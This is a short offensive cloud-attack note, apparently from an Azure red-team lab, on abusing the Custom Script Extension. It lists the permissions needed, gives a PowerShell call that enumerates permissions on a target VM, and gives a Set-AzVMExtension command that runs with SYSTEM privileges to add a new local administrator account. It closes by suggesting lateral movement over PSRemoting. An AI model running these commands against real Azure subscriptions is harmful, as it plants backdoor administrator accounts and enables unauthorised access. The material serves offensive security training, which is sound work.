Custom Script Extension

Extensions are "small applications" used to provide post deployment configuration and other management tasks. Custom Script Extension is used to run scripts on Azure VMs. The script is executed with SYSTEM privileges. Can be deployed to a running VM. Only one extension can be added to a VM at a time. So it is not possible to add multiple custom script extensions to a single VM.

Following permissions are required to create a custom script extension and read the output:

1. Microsoft.Compute/virtualMachines/extensions/write

2. Microsoft.Compute/virtualMachines/extensions/read

1

Use ARM API call for listing permissions

$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'

$RequestParams = @{
        Method = 'GET'
        Uri = $URI
        Headers = @{
        'Authorization' = "Bearer $Token"
    }
}

Example output of the permissions you are looking for

2

Check if any extensions are installed already

Get-AzVMExtension -ResourceGroupName "Research" -VMName "infradminsrv"

3

Create a custom script extension to add local administrator

This is horrible OpSec

Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users studentx StudxPassword@123 /add /Y; net localgroup administrators studentx /add"}'

You could now use PSRemoting to jump there, if allowed.